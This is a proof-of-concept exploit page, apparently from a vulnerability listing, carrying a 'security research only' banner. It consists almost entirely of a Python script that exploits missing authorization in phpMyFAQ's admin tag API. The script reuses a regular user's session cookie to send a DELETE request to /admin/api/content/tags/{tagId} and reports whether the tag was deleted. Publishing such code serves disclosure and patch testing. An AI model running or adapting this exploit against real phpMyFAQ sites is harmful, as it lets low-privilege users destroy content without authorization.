PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL vulnerable endpoint
# Replace {target} with the actual domain and {tagId} with the target tag ID
target_url = "http://{target}/admin/api/content/tags/{tagId}"

# Valid session cookie obtained after logging in as a regular user
# This simulates the low-privilege authentication requirement (PR:L)
cookies = {
    "phpMyFAQ_Session": "valid_user_session_cookie_value"
}

headers = {
    "User-Agent": "Mozilla/5.0 (Vulnerability-Scanner)"
}

try:
    # Send DELETE request to exploit the missing authorization
    response = requests.delete(target_url, cookies=cookies, headers=headers)

    if response.status_code == 200:
        print("[+] Exploit successful: Tag deleted.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[!] Error occurred: {e}")
